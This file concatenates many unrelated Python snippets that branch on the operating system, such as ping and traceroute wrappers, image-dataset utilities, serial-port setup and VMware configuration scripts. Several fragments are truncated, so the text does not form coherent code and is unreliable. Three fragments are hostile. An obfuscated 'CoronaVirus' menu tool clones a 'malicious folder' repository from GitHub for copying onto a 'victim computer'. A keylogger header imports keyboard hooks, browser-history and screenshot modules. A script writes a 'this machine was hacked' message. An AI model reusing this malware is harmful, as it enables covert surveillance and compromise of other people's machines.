def on_target(self, instance): text = self.target.text if text: self.main_layout.remove_widget(self.screen) self.main_layout.add_widget(self.result_screen) if self.choise == 2: if platform.system() == "Windows": x = threading.Thread(target=self.query, args=('ping ' + self.target.text + " -t", )) else: x = threading.Thread(target=self.query, args=(['ping', self.target.text], )) x.start() if self.choise == 3: if platform.system() == "Windows": x = threading.Thread(target=self.query, args=('tracert ' + self.target.text, )) else: x = threading.Thread( target=self.query, args=(['traceroute', self.target.text], )) x.start() if self.choise == 4: x = threading.Thread(target=self.query, args=(['iperf3', '-c ', self.target.text], )) x.start()
def open_conf_dir(cnf): import subprocess import os import platform if platform.system().lower() == "windows": os.startfile(cnf.stations_dir) elif platform.system().lower() == "darwin": subprocess.Popen(["open", cnf.stations_dir]) else: subprocess.Popen(["xdg-open", cnf.stations_dir])
def open_conf_dir(cnf): import subprocess import os import platform if platform.system().lower() == 'windows': os.startfile(cnf.stations_dir) elif platform.system().lower() == 'darwin': subprocess.Popen(['open', cnf.stations_dir]) else: subprocess.Popen(['xdg-open', cnf.stations_dir])
def set_position(elem, previous, dist=10): pos_y = previous.pos().y() if platform.system() == "Darwin" and isinstance(elem, QLineEdit): pos_y += 3 if platform.system() == "Darwin" and isinstance(previous, QLineEdit): pos_y -= 3 if platform.system() == "Darwin" and isinstance(previous, QSlider): pos_y -= 10 if platform.system() == "Darwin" and isinstance(elem, QSpinBox): pos_y += 7 if platform.system() == "Darwin" and isinstance(previous, QSpinBox): pos_y -= 7 elem.move(previous.pos().x() + previous.size().width() + dist, pos_y)
def getDeviceName(): print("In getDeviceName()") DEVICENAME = "/dev/ttyUSB0" if platform.system() == "Linux" or platform.system( ) == "Linux2": # Checking for OS type DEVICENAME = "/dev/ttyUSB0" # There is a symlink to ‘/dev/dynamixel/’ on RasPi, but change it to : 'COM5' or '/dev/tty.usbserial-FT3WHPY9' when not on RasPi print("Linux") elif platform.system() == "Darwin": DEVICENAME = "/dev/tty.usbserial-FT3WHPY9" print("Mac") elif platform.system() == "Windows": DEVICENAME = "COM5" print("Windows") return DEVICENAME
def get_annotation_path_list(self, multiprocess=False, sort=True): annot_path_list = [(root, file_name) for root, dirs, files in tqdm( os.walk(self.config['dataset_root']), desc="Searching annotation .json files ...") if len(files) > 1 for file_name in files if file_name.endswith("json")] print("Annotation list: {}".format(len(annot_path_list))) seperator = "\\" if platform.system().find("Windows") >= 0 else "/" file_checker = lambda x: x if os.path.isfile(f"{x[0]}{seperator}{x[1]}") and \ (os.path.isfile(f"{x[0]}{seperator}{x[1][:-5]}.JPG") or os.path.isfile(f"{x[0]}{seperator}{x[1][:-5]}.jpg")) else None if multiprocess: annot_path_list = p_map(file_checker, annot_path_list, desc="Double-Check File List ...") annot_path_list = [x for x in annot_path_list if x is not None] else: annot_path_list = [ (root, file_name) for root, file_name in tqdm(annot_path_list, desc="Double-Check File List ...") if os.path.isfile(f"{root}{seperator}{file_name}") and (os.path.isfile(f"{root}{seperator}{file_name[:-5]}.JPG") or os.path.isfile(f"{root}{seperator}{file_name[:-5]}.jpg")) ] if sort: annot_path_list.sort() print("Annotation list: {}".format(len(annot_path_list))) return annot_path_list
def do_image_analysis(coordinate_x, coordinate_y, result): coordinate1 = coordinate_x, coordinate_y coordinate2 = coordinate1[0] + result.image_width, coordinate1[ 1] + result.image_height area = coordinate1 + coordinate2 cropped_img = result.screen.crop(area) cropped_img.save('tmp.png') similarity = ssim(img_as_float(result.image_to_match), img_as_float(cropped_img), multichannel=True) if platform.system() == 'Windows': pytesseract.pytesseract.tesseract_cmd = 'C:/Program Files (x86)/Tesseract-OCR/tesseract' binarized_img = binarize_image(cropped_img, THRESHOLD) text = pytesseract.image_to_string(binarized_img) print('image analysis done, reads: ' + text) text_similarities = [] for possible_text in SEARCH_TEXTS: text_similarities.append(get_text_similarity(text, possible_text)) similarity += max(text_similarities) similarity = int(similarity * 1000) result.all_similarities.append(similarity) if result.max_similarity < similarity: result.max_similarity = similarity result.best_img = cropped_img result.best_area = area return result
def rebuild_dataset_by_dir(self, annotation=None, target_root="./export", multiprocess=True, num_cpus=1.0): target_root = target_root.replace( "/", "\\") if platform.system().find("Windows") >= 0 else target_root if annotation is None: annotation = self.annotations mp_args = annotation[['file_root', 'file_name', "class_name"]].values.tolist() mp_args = [[self.config['dataset_root']] + arg for arg in mp_args] reverse_dict = { v: int(k) for k, v in self.config['label_dict'].items() } if multiprocess: p_umap(partial(KProductsDataset.copy_image, target_root=target_root, reverse_dict=reverse_dict), mp_args, desc="Rebuilding Dataset by directory ...", num_cpus=num_cpus) else: for arg in tqdm(mp_args, desc="Rebuilding Dataset by directory ..."): KProductsDataset.copy_image(arg, target_root=target_root, reverse_dict=reverse_dict)
def oscmd(): currentos = platform.system() if currentos == "Linux": return "youtube-dlc" elif currentos == "Windows": return "youtube-dl.exe" else: raise Exception("Current OS is neither Windows nor Linux")
def convert_annotation(args, dataset_root="", encoding='UTF8'): """ Convert Original annotation json file to python dict type Args: args (list, tuple): Contains two arguments. (root, annot_or_filename) root (str): Dataset root directory annot_or_filename (dict, str): Annotation dict or path encoding (str): Annotation Encoding Type Returns: (dict): Converted annotation dict type """ root, annot_or_filename = args seperator = "\\" if platform.system().find("Windows") >= 0 else "/" if type(annot_or_filename) == dict: annot = annot_or_filename else: try: with open(f"{root}{seperator}{annot_or_filename}", encoding=encoding) as fp: annot = json.load(fp) except json.decoder.JSONDecodeError: print("Something went wrong on {}/{}!!".format( root, annot_or_filename)) return None if len(annot['regions']) > 1: print( f"!!! More than Two Annotation Found ({len(annot['regions']):02d}) at {root}{seperator}{annot['image']['identifier']}" ) roots = root.split(seperator) file_root = seperator.join(roots[-2:]) new_annot = dict() new_annot['root'] = dataset_root new_annot['file_name'] = annot['image']['identifier'] new_annot['file_root'] = file_root new_annot['img_width'] = annot['image']['imsize'][0] new_annot['img_height'] = annot['image']['imsize'][1] region_annot = annot['regions'][0] new_annot['bbox_x1'] = region_annot['boxcorners'][0] new_annot['bbox_y1'] = region_annot['boxcorners'][1] new_annot['bbox_x2'] = region_annot['boxcorners'][2] new_annot['bbox_y2'] = region_annot['boxcorners'][3] new_annot['class_name'] = region_annot['class'] for tag in region_annot['tags']: tag_name, tag_value = tag.split(":") if tag_value == '': continue new_annot[tag_name] = tag_value return new_annot
def get_pip_conf_path(): if platform.system() == 'Windows': drive = os.path.expanduser(os.path.expandvars('%APPDATA%')) drive = os.path.splitdrive(drive)[0] if os.path.exists(drive + '\\ProgramData'): return drive + '\\ProgramData\\pip\\pip.ini' return os.path.expanduser(os.path.expandvars(r'%APPDATA%\pip\pip.ini')) return os.path.expanduser('~/.pip/pip.conf')
def ping_ip(self, ip, count=count): """ ping a vm from given ip address :param ip: str of ip address :param timeout: given in seconds. if timeout expires, the process is killed :return: a str representing the ping result """ param = '-n' if platform.system().lower() == 'windows' else '-c' command = ['ping', param, count, ip] ret_code = subprocess.run(command, capture_output=False).returncode return {ip: ret_code}
def ping(cls, host=None, count=1): """ execute ping :param host: the host to ping :param count: the number of pings :return: """ option = '-n' if platform.system().lower() == 'windows' else '-c' return cls.execute( 'ping', "{option} {count} {host}".format(option=option, count=count, host=host))
def get_os_platform2(): import platform system_platform = platform.system() print(system_platform) if system_platform == "linux" or system_platform == "linux2": return "linux" elif system_platform == "Darwin": return "OS X" elif system_platform == "win32": return "Windows" else: return None
def VBoxManage(cls, *args): """ executes VboxManage with the given arguments :param args: :return: """ if platform.system().lower() == "darwin": command = "/Applications/VirtualBox.app/Contents/MacOS/VBoxManage" else: command = 'VBoxManage' return cls.execute(command, args)
def copy_image(args, target_root="./export", reverse_dict=None): assert reverse_dict is not None dataset_root, file_root, file_name, class_name = args seperator = "\\" if platform.system().find("Windows") >= 0 else "/" src = f"{dataset_root}{seperator}{file_root}{seperator}{file_name}" dest = f"{target_root}{seperator}{reverse_dict[class_name]:02d}_{class_name}" os.makedirs(dest, exist_ok=True) dest = f"{dest}{seperator}{file_name}" shutil.copy2(src, dest)
def health(request): response = { 'date': datetime.today(), 'current_page': "http://127.0.0.1:8000/health/", 'server_info': { 'system': platform.system(), 'version': platform.version(), 'node': platform.node(), 'processor': platform.processor() }, 'client_info': request.headers.get('User-Agent') } return JsonResponse(response)
def run(): try: print("Running a shell script.") choice = int(random.choice(range(1, 5))) if choice == 1: print("List Command") if platform.system() == 'Linux': os.system('ls -lh') if platform.system() == 'Windows': os.system('dir') elif choice == 2: print("Network Info") os.system('netstat -ant') elif choice == 3: print("Right a message") os.system( 'echo "proof that this machine was hacked." >> message.txt') elif choice == 4: print("Pinging Google") os.system('ping google.com') else: print("Add commands!") except Exception as e: print(f"Exception in shell script: {e}")
def resize_image(args, target_w=320, target_root="./export", skip_exists=True, copy_annotation=True): """ Resize Image and save to the target_root Args: args (list): [dataset_root, file_root, file_name]. dataset_root (str): Dataset root from dataset configuration file. file_root (str): Image file root from dataset_root. file_name (str): Image file name target_w (int): Target width for resizing. Height is automatically set by ratio. target_root (str): Target dataset root to save resized images. skip_exists (bool): Skip if the image already exists copy_annotation (bool): Copy annotation """ dataset_root, file_root, file_name = args seperator = "\\" if platform.system().find("Windows") >= 0 else "/" target_root = target_root.replace( "/", "\\") if seperator == "\\" else target_root target_file_root = f"{target_root}{seperator}{file_root}" os.makedirs(target_file_root, exist_ok=True) target_path = f"{target_file_root}{seperator}{file_name}" if copy_annotation: annot_path = f"{dataset_root}{seperator}{file_root}{seperator}{file_name[:-4]}.json" target_annot_path = f"{target_path[:-4]}.json" try: shutil.copy2(annot_path, target_annot_path) except: print("Copy failed from {} to {}".format( annot_path, target_annot_path)) if skip_exists and os.path.isfile(target_path): return img_path = f"{dataset_root}{seperator}{file_root}{seperator}{file_name}" try: img = Image.open(img_path) target_h = int((target_w / img.size[0]) * img.size[1]) img = img.resize((target_w, target_h)) img.save(target_path) except FileNotFoundError: print("Open file failed on {} -> {}".format(img_path, target_path))
def log_parameters(argv, config_loader): """ Log the invocation parameters to make it easier to diagnose problem with customers :param argv: command line arguments (a la sys.argv) :type argv: list(str) :param config_loader: the main configuration loader :type config_loader: user_sync.config.ConfigLoader :return: None """ logger.info('User Sync {0} - Python {1} - {2} {3}'.format( app_version, platform.python_version(), platform.system(), platform.version())) logger.info('------- Command line arguments -------') logger.info(' '.join(argv)) logger.debug('-------- Resulting invocation options --------') for parameter_name, parameter_value in six.iteritems( config_loader.get_invocation_options()): logger.debug(' %s: %s', parameter_name, parameter_value) logger.info('-------------------------------------')
def resize_dataset(self, target_w=320, target_root="./export", skip_exists=True, multiprocess=True, num_cpus=1.0, copy_annotation=True): """ Resize images from entires dataset. This functions uses multi-cores. Be aware that it will slow down your computer. Args: target_w (int): Target width for resizing. Height is automatically set by ratio. target_root (str): Target dataset root to save resized images. skip_exists (bool): True: Skip resizing if resized file already exists. multiprocess (bool): Use multi process. num_cpus (int, float): Number(int) or proportion(float) of cpus to utilize in multiprocess. """ target_root = target_root.replace( "/", "\\") if platform.system().find("Windows") >= 0 else target_root mp_args = self.annotations[['root', 'file_root', 'file_name']].values.tolist() if multiprocess: p_umap(partial(KProductsDataset.resize_image, target_w=target_w, target_root=target_root, skip_exists=skip_exists, copy_annotation=copy_annotation), mp_args, desc="Resizing Images ...", num_cpus=num_cpus) else: for arg in tqdm(mp_args, desc="Resizing Images ..."): KProductsDataset.resize_image(arg, target_w=target_w, target_root=target_root, skip_exists=skip_exists, copy_annotation=copy_annotation)
def __determineInterface(self): self.port.flushInput() # Set a baudrate that can not work on a real serial port # in that it is 233% off. try: self.port.baudrate = self.baudrate_bootloader * 2.33 except NotImplementedError as e: # This error can occur because pySerial on Windows does not support odd baudrates print( str(e) + " -> could not check for FTDI device, assuming USB connection") return self.__send(uploader.GET_SYNC + uploader.EOC) try: self.__getSync(False) except: # if it fails we are on a real serial port - only leave this enabled on Windows if _platform.system() == 'Windows': self.ackWindowedMode = True self.port.baudrate = self.baudrate_bootloader
def browser(): '''定义全局driver''' #platform为检查系统环境方法 if platform.system() == 'Windows': # windows系统 _driver = webdriver.Chrome() _driver.maximize_window() else: # linux启动 chrome_options = Options() chrome_options.add_argument('--window-size=1920,1080') # 设置当前窗口的宽度和高度 chrome_options.add_argument('--no-sandbox') # 解决DevToolsActivePort文件不存在报错问题 chrome_options.add_argument('--disable-dev-shm-usage') chrome_options.add_argument('--disable-gpu') # 禁用GPU硬件加速。如果软件渲染器没有就位,则GPU进程将不会启动。 chrome_options.add_argument('--headless') # 无界面 # _driver = webdriver.Chrome() _driver = webdriver.Chrome(chrome_options=chrome_options) yield _driver # quit是退出浏览器 _driver.quit()
def get_data(self, idx): """ Get image and annotation Args: idx (int): Index number of data. Returns: (PIL.Image): Image (pd.DataFrame): Annotation """ seperator = "\\" if platform.system().find("Windows") >= 0 else "/" target = self.annotations.iloc[idx] img_path = f"{target['root']}{seperator}{target['file_root']}{seperator}{target['file_name']}" try: img = Image.open(img_path) except: print("Error Opening Image file {}".format(img_path)) return None, target return img, target
from io import StringIO from sys import platform import xml.etree.ElementTree as ET import os import json import random import sys import csv import platform osname = platform.system() def loadfile(path): with open(path, 'r', encoding='utf-8') as f: return f.read() def savefile(path, content): with open(path, 'w+', encoding='utf-8') as f: return f.write(content) def loaddict(path): content = loadfile(path) content = content.strip() if len(content) != 0: return json.loads(content) else: return {} def savedict(path, dictionary): content = json.dumps(dictionary, indent=4, ensure_ascii=False) savefile(path, content) def exe_cmd(command):
def operating_system(cls): """ the name of the os :return: the name of the os """ return platform.system().lower()
working_ports = [] for port in ports: try: test_serial = serial.Serial(port) test_serial.close() working_ports.append(port) except (OSError, serial.SerialException): pass print "Found {} serial ports.\n".format(len(working_ports)) print "Please select your Arduino from the list below:\nIf you are unsure of the port, check the bottom of the Arduino IDE." for i in range(len(working_ports)): print "Port", i + 1, working_ports[i] serial_port = working_ports[ input("Type a port number between 1 and {}: ".format(len(working_ports))) - 1] else: raise EnviromentError('Unsuported platform: {}'.format(platform.system())) ser = serial.Serial(serial_port, 9600) print "\nEverything was successful, you should now see your LED lit up.\nPress and hold ctrl+c to quit." # Begin Program while True: # Get the time at the start of the operation t1 = time() # Capture and open a screenshot system("screencapture -Cmxr screencapture.png") image = Image.open("screencapture.png") # Get every 100th pixel in a list w, h = image.size pixels = image.getcolors(w * h)[0::100]
print( """Python version: %s dist: %s linux_distribution: %s system: %s machine: %s platform: %s uname: %s version: %s mac_ver: %s """ % ( sys.version.split('\n'), str(platform.dist()), linux_distribution(), platform.system(), platform.machine(), platform.platform(), platform.uname(), platform.version(), platform.mac_ver(), )) def call_shell(): session = subprocess.Popen(['syspack.sh'], stdout=PIPE, stderr=PIPE) stdout, stderr = session.communicate() if stderr: raise Exception("Error " + str(stderr))
def menu(): #line:125 try: #line:126 O0OO00OOO0O0O00O0 = input( str(colors.FAIL + "\nCoronaVirus~~> " + colors.HEADER + "")) #line:127 if O0OO00OOO0O0O00O0 == options: #line:128 print("") #line:129 if O0OO00OOO0O0O00O0 == help: #line:130 os.system('nohup play .enable_sound.wav') #line:131 time.sleep(1) #line:132 os.system('nohup play HelpMenu.mp3') #line:133 print(colors.OKBLUE + ''' Welcome to CoronaVirus Tool, this tool is \ncreated for infectation \ndevices and for see vulnerability of \nmachines type (''' + colors.HEADER + "!options" + colors.OKBLUE + ''') to go in the menu.''') #line:136 menu() #line:137 else: #line:138 if O0OO00OOO0O0O00O0 != help: #line:139 if O0OO00OOO0O0O00O0 != options: #line:140 if O0OO00OOO0O0O00O0 != "1": #line:141 if O0OO00OOO0O0O00O0 != "2": #line:142 if O0OO00OOO0O0O00O0 != "3": #line:143 if O0OO00OOO0O0O00O0 != "4": #line:144 if O0OO00OOO0O0O00O0 != "exit": #line:145 if O0OO00OOO0O0O00O0 != "info": #line:146 if O0OO00OOO0O0O00O0 != "clear": #line:147 if O0OO00OOO0O0O00O0 != "back": #line:148 print( colors.FAIL + colors.UNDERLINE + "\n\n!!!Syntax Error!!!\n" + colors.ENDC + colors.WARNING ) #line:149 menu() #line:150 if O0OO00OOO0O0O00O0 == options: #line:151 os.system('nohup play .enable_sound.wav') #line:152 print(''' [!help] to see help menu [!options] to see this menu 1.Install 2.Uninstall 3.CheckUpgrades 4.Back [back] to go in the Main menu [info] to see information of I.A and About [clear] to clear the screen [exit] to exit ''') #line:164 OOO0O00OO0O000O0O = input(colors.FAIL + "\nInsert Key~~> " + colors.OKBLUE) #line:165 if OOO0O00OO0O000O0O == "1": #line:166 os.system('nohup play .enable_sound.wav') #line:167 time.sleep(1) #line:168 os.system('nohup play 1.mp3') #line:169 print("\nStarting Installation") #line:170 time.sleep(1) #line:171 print("\nThe installation required 1/2 minutes") #line:172 time.sleep(1) #line:173 print("Checking Upgrades") #line:174 time.sleep(1) #line:175 os.system('clear') #line:176 os.system('pip freeze > upgrades.Corona' + 'pip2 freeze > upgrades.Corona' + 'pip3 freeze > upgades.Corona') #line:177 print("\nSaving Upgrades...") #line:178 os.system('clear') #line:179 time.sleep(1) #line:180 print("Installation Upgrades") #line:181 time.sleep(1) #line:182 os.system('clear') #line:183 os.system('pip install -r upgrades.Corona') #line:184 os.system('clear') #line:185 print(colors.HEADER + "Sufficiently Installed!" + colors.ENDC) #line:186 if platform.system() == "Linux": #line:187 os.system('nohup play .enable_sound.wav') #line:188 print( colors.HEADER + "the folder was been copyed on CoronaVirus. Hwd. Malicious Folder move Malicius Folder on the Victim Computer" ) #line:189 time.sleep(5) #line:190 os.system('clear') #line:191 os.system('nohup play coping.mp3') #line:192 os.system( 'sudo git clone https://github.com/HwdTech010/Hwd.git' ) #line:193 os.system('clear') #line:194 time.sleep(1) #line:195 os.system('nohup play copied.mp3') #line:196 menu() #line:197 if platform.system() == "Windows": #line:198 os.system('nohup play .enable_sound.wav') #line:199 print( colors.WARNING + "Download the folder CoronaVirus. Hwd. Malicious, and copy folder on VirusCorona Direcory" + colors.FAIL + "!!DO NOT START FILE!!" + colors.HEADER + "copy this folder on the Victim Computer") #line:200 os.system('nohup play url.mp3') #line:201 time.sleep(1) #line:202 webbrowser.open( 'https://github.com/HwdTech010/Hwd.git') #line:203 menu() #line:204 os.system('nohup play Installed.mp3') #line:205 menu() #line:206 elif OOO0O00OO0O000O0O == "2": #line:207 os.system('nohup play .enable_sound.wav') #line:208 print("\n Uninstall") #line:209 if platform.system == "Linux": #line:210 os.remove("/HWD/") #line:211 os.system('nohup play Uninstalled.mp3') #line:212 menu() #line:213 if platform.system() == "Windows": #line:214 os.remove("\HWD") #line:215 os.system('play Uninstalled.mp3') #line:216 menu() #line:217 elif OOO0O00OO0O000O0O == "3": #line:218 os.system('nohup play .enable_sound.wav') #line:219 time.sleep(1) #line:220 os.system('nohup play SUpgrade.mp3') #line:221 print("\nChecking Upgrades") #line:222 time.sleep(1) #line:223 os.system('clear') #line:224 os.system('nohup play UpgradeInst.mp3') #line:225 print("Installing Upgrades") #line:226 time.sleep(1) #line:227 os.system('clear') #line:228 os.system('pip install -r upgrades.Corona') #line:229 os.system('clear') #line:230 os.system('nohup play Upgraded.mp3') #line:231 print("Sufficiently Upgraded!") #line:232 menu() #line:233 elif OOO0O00OO0O000O0O == "4" or "back": #line:234 os.system('nohup play .enable_sound.wav') #line:235 menu() #line:236 if O0OO00OOO0O0O00O0 == "exit": #line:237 os.system('nohup play .enable_sound.wav') #line:238 time.sleep(1) #line:239 os.system('nohup play GoodBye.mp3') #line:240 time.sleep(1) #line:241 os.system('clear') #line:242 os.system('exit && exit') #line:243 if O0OO00OOO0O0O00O0 == "info": #line:244 os.system('nohup play .enable_sound.wav') #line:245 print(''' ___ ___ ___ __ ________ |\ \|\ \ |\ \ |\ \ |\ ___ \ \ \ \\\ \\ \ \ \ \ \\ \ \_|\ \ \ \ __ \\ \ \ __\ \ \\ \ \ \\ \ \ \ \ \ \\ \ \|\__\_\ \\ \ \_\\ \ \ \__\ \__\\ \____________\\ \_______\ Author: ~ _Hwd_ Telegram: ~ @Hwd01011010 Version: ~ 1.0 License: ~ GNULinux ''') #line:258 menu() #line:259 if O0OO00OOO0O0O00O0 == "clear": #line:260 os.system('nohup play .enable_sound.wav') #line:261 os.system('clear') #line:262 menu() #line:263 except SyntaxError: #line:265 print(colors.FAIL + colors.UNDERLINE + "\n\n!!!Syntax Error!!!" + colors.ENDC + colors.WARNING) #line:266 menu() #line:267
import sys import argparse import pyscreenshot as screenshot import os from datetime import timedelta, date, datetime import utils import time from browserhistory import get_browserhistory from browserhistory import browse import json from sys import platform import psutil from threading import Thread import platform system = platform.system() isWindows = system == 'Windows' if isWindows: import win32api import win32console import win32gui import pyHook import pythoncom else: import pyxhook from threading import Lock log_file = 'output.txt' escape = {9: '\t', 13: '\n'} edit_lock = Lock() global hasChanged
def main(): username,homedir = getuser() oscheck = platform.system() if oscheck == "Darwin": try: if filesearchmacos(vmnetfile): print("\n") print 30 * "=" , "CONFIGURING" , 30 * "=" cfgbackmacos(funsioncfgfile) importcfgmacos(vmnetfile) print("Successful import and backup.") print("For support goto https://goo.gl/cHtQ2B") print 30 * "=" , "CONFIGURING" , 30 * "=" print("\n") else: print("\n") print 30 * "=" , "CONFIGURING" , 30 * "=" print("Config file not found.") print("Attempting to retrieve it.") savemacos(fusionconf,vmnetfile) print("Success.") cfgbackmacos(funsioncfgfile) importcfgmacos(vmnetfile) print("Successful import and backup.") print("For support goto https://goo.gl/cHtQ2B") print 30 * "=" , "CONFIGURING" , 30 * "=" print("\n") except: print ("\n") print 30 * "-" , "ERROR" , 30 * "-" print("An error has occured.") print("For support goto https://goo.gl/cHtQ2B") print 30 * "-" , "ERROR" , 30 * "-" print ("\n") elif oscheck == "Windows": try: if filecheckwin(workstationcfgfile): print("\n") print 30 * "=" , "CONFIGURING" , 30 * "=" cfgbackwin(workstationcfgfile) importcfgwin(workstationcfgfile) print("Successful import and backup.") print("For support goto https://goo.gl/cHtQ2B") print 30 * "=" , "CONFIGURING" , 30 * "=" print("\n") else: print("\n") print 30 * "=" , "CONFIGURING" , 30 * "=" print("Config file not found.") print("Attempting to retrieve it.") savemacos(workstationconf,workstationcfgfile) print("Success.") cfgbackwin(workstationcfgfile) importcfgwin(workstationcfgfile) print("Successful import and backup.") print("For support goto https://goo.gl/cHtQ2B") print 30 * "=" , "CONFIGURING" , 30 * "=" print("\n") except: print ("\n") print 30 * "-" , "ERROR" , 30 * "-" print("An error has occured.") print("For support goto https://goo.gl/cHtQ2B") print 30 * "-" , "ERROR" , 30 * "-" print ("\n") else: print ("\n") print 30 * "-" , "ERROR" , 30 * "-" print("Operating System either unidentifed or not supported.") print("For support goto https://goo.gl/cHtQ2B.") print 30 * "-" , "ERROR" , 30 * "-" print ("\n")